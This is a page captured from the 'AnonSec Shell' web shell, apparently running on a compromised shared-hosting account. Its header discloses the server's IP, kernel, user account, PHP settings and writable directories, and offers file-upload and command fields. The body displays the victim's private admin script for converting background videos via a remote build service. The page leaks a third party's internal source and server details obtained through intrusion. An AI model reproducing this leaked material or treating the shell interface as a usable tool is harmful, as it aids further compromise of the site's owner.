AnonSec Shell
Server IP : 149.202.105.228  /  Your IP : 216.73.216.18
Web Server : Apache
System : Linux webm129.cluster030.gra.hosting.ovh.net 5.15.167-ovh-vps-grsec-zfs-classid #1 SMP Tue Sep 17 08:14:20 UTC 2024 x86_64
User : atfycaf ( 116275)
PHP Version : 7.4.33
Disable Function : _dyuweyrj4,_dyuweyrj4r,dl
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /home/atfycaf/www/admin/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME ]     

Current File : /home/atfycaf/www/admin//pagesBGVideoConvert.php
<?php
error_reporting(E_ALL);
ini_set("display_errors", 1);
ini_set('memory_limit', '8000M');
ini_set('max_execution_time', '6000');

header('Content-Type: application/json');

$baseSiteURL	= "modsnetwebsitedesign.com";
$ENurl			= "https://fab.$baseSiteURL/";
$url			= $ENurl;
$fileRoot		= __FILE__;
$_SERVER_ROOT	= str_replace("/admin/pagesBGVideoConvert.php", "", __FILE__);

$myFile		= "logPageBGVideo.txt";
$dateOpened	= date("g:i:sa l jS F, Y");
$stringData	= "OPENED: $dateOpened\n\n";
$stringData	.= "ROOT: $fileRoot\n\n";
$stringData	.= "SERVER ROOT: $_SERVER_ROOT\n\n";
$fh			= fopen($myFile, 'w');

foreach($argv as $argK => $argV) {
	$stringData	.= "$argK: $argV\n";
}
$stringData	.= "\n\n";

if (isset($argv[1])) {
	$fileTMP	= $_SERVER_ROOT ."/admin/files/". $argv[2];
	$fileThumb	= $_SERVER_ROOT ."/admin/files/thumbnail/". $argv[2];
	$lockFile	= $_SERVER_ROOT ."/images/pagesBG/lock-". $argv[1] .".txt";
	if (file_exists($fileTMP)) {
		$stringData	.=  "$fileTMP: OK FILE\n\n";
	} else {
		$stringData .=  "$fileTMP: FILE NOT THERE :o(\n\n";
	}

	if (file_exists($fileTMP)) {
		$videoURL		= $url ."admin/files/". $argv[2];
		$displayURL		= $url ."images/pagesBG/video-". $argv[1] .".mp4";

		$localVideo		= $_SERVER_ROOT . "/images/pagesBG/video-". $argv[1] .".mp4";
		$localVideoWM	= $_SERVER_ROOT . "/images/pagesBG/video-". $argv[1] .".webm";
		$localTVideo	= $_SERVER_ROOT . "/images/pagesBG/video-". $argv[1] ."-title.mp4";
		$localTVideoWM	= $_SERVER_ROOT . "/images/pagesBG/video-". $argv[1] ."-title.webm";
		$localThumb		= $_SERVER_ROOT . "/images/pagesBG/video-". $argv[1] ."-thumb.jpg";
		$PDFurl			= "https://www.modsnetwebsitedesign.com/fab/videoBuild.php";

		$ch			= curl_init();
		curl_setopt($ch, CURLOPT_URL, $PDFurl);
		curl_setopt($ch, CURLOPT_TIMEOUT, 9000);
		curl_setopt($ch, CURLOPT_RETURNTRANSFER,1);
		curl_setopt($ch, CURLOPT_HTTPHEADER, array( "Content-Type:multipart/form-data" ));
		curl_setopt($ch, CURLOPT_POST, 1);
		curl_setopt($ch, CURLOPT_POSTFIELDS, array( 
													'method' => "build",
													'videoURL' => $videoURL
												));
		curl_setopt($ch, CURLINFO_HEADER_OUT, true);
		$videoResponse	= curl_exec($ch);
		curl_close($ch);

		if($videoResponse === false) {
			$stringData .=  "Curl error: " . curl_error($ch);
		} else {
			$displayResponse	= json_decode($videoResponse, true);
			$videoURL			= $displayResponse["videoURL"];
//			$videoURLWM			= $displayResponse["videoURLWM"];
			$videoTitleURL		= $displayResponse["videoTURL"];
//			$videoTitleURLWM	= $displayResponse["videoTURLWMM"];
			$videoThumbURL		= $displayResponse["videoThumbURL"];

			$stringData .=  "VIDEO URL: $videoURL\n";
			$stringData .=  "VIDEO TITLE URL: $videoTitleURL\n";
			$stringData .=  "VIDEO STILL URL: $videoThumbURL\n\n";

			unlink($localVideo);
			unlink($localTVideo);
			unlink($localThumb);

			$getVideo	= curl_init($videoURL);
			$fp 		= fopen("$localVideo", "w");
			curl_setopt($getVideo, CURLOPT_FILE, $fp);
			curl_setopt($getVideo, CURLOPT_HEADER, 0);
			curl_setopt($getVideo, CURLOPT_HTTPHEADER, Array("User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.1.15) Gecko/20080623 Firefox/2.0.0.15") );
			curl_exec($getVideo);
			curl_close($getVideo);
			fclose($fp);
/*
			$getVideoWM	= curl_init($videoURLWM);
			$fp 		= fopen("$localVideoWM", "w");
			curl_setopt($getVideoWM, CURLOPT_FILE, $fp);
			curl_setopt($getVideoWM, CURLOPT_HEADER, 0);
			curl_setopt($getVideoWM, CURLOPT_HTTPHEADER, Array("User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.1.15) Gecko/20080623 Firefox/2.0.0.15") );
			curl_exec($getVideoWM);
			curl_close($getVideoWM);
			fclose($fp);
*/	
			$getTVideo	= curl_init($videoTitleURL);
			$fp 		= fopen("$localTVideo", "w");
			curl_setopt($getTVideo, CURLOPT_FILE, $fp);
			curl_setopt($getTVideo, CURLOPT_HEADER, 0);
			curl_setopt($getTVideo, CURLOPT_HTTPHEADER, Array("User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.1.15) Gecko/20080623 Firefox/2.0.0.15") );
			curl_exec($getTVideo);
			curl_close($getTVideo);
			fclose($fp);
/*	
			$getTVideoWM	= curl_init($videoTitleURLWM);
			$fp 		= fopen("$localTVideoWM", "w");
			curl_setopt($getTVideoWM, CURLOPT_FILE, $fp);
			curl_setopt($getTVideoWM, CURLOPT_HEADER, 0);
			curl_setopt($getTVideoWM, CURLOPT_HTTPHEADER, Array("User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.1.15) Gecko/20080623 Firefox/2.0.0.15") );
			curl_exec($getTVideoWM);
			curl_close($getTVideoWM);
			fclose($fp);
*/	
			$getThumb	= curl_init($videoThumbURL);
			$fp 		= fopen("$localThumb", "w");
			curl_setopt($getThumb, CURLOPT_FILE, $fp);
			curl_setopt($getThumb, CURLOPT_HEADER, 0);
			curl_setopt($getThumb, CURLOPT_HTTPHEADER, Array("User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.1.15) Gecko/20080623 Firefox/2.0.0.15") );
			curl_exec($getThumb);
			curl_close($getThumb);
			fclose($fp);

			if (file_exists($localVideo)) {
				if (filesize($localVideo) > 0) {
					$ch			= curl_init();
					curl_setopt($ch, CURLOPT_URL, $PDFurl);
					curl_setopt($ch, CURLOPT_TIMEOUT, 90);
					curl_setopt($ch, CURLOPT_RETURNTRANSFER,1);
					curl_setopt($ch, CURLOPT_HTTPHEADER, array( "Content-Type:multipart/form-data" ));
					curl_setopt($ch, CURLOPT_POST, 1);
					curl_setopt($ch, CURLOPT_POSTFIELDS, array( 
																'method' => "destroy"
															));
					curl_setopt($ch, CURLINFO_HEADER_OUT, true);
					$pdfResponse	= curl_exec($ch);
					curl_close($ch);
				}
			}

			$randVar	= mt_rand(1,9999999);

			$returnJSON	= array(
									"name"			=> "video-". $argv[1] .".mp4", 
									"size"			=> "960x1080", 
									"url"			=> $displayURL ."?rV=". $randVar, 
									"thumbnailUrl"	=> $displayURL ."?rV=". $randVar, 
									"deleteUrl"		=> "photoAlbumUploadDel.php", 
									"deleteType"	=> "DELETE"
								);

			$stringData .= "\n\nJSON DATA:";
			foreach($returnJSON as $jsonK => $jsonData) {
				$stringData .= "\n$jsonK => $jsonData";
			}

			$stringData .= "\n\n". json_encode($returnJSON);
			$dateFinished	= date("g:i:sa l jS F, Y");
			$stringData	.= "FINISHED: $dateFinished\n\n";
		}

//		unlink($fileTMP);
		if (file_exists($fileThumb)) {
			unlink($fileThumb);
		}
		if (file_exists($lockFile)) {
			unlink($lockFile);
		}

		echo json_encode($returnJSON);

	}


} else {
	$stringData .= "\n\nNO FILE UPLOADED...\n\n";
}

fwrite($fh, $stringData);
fclose($fh);
?>

Anon7 - 2022
AnonSec Team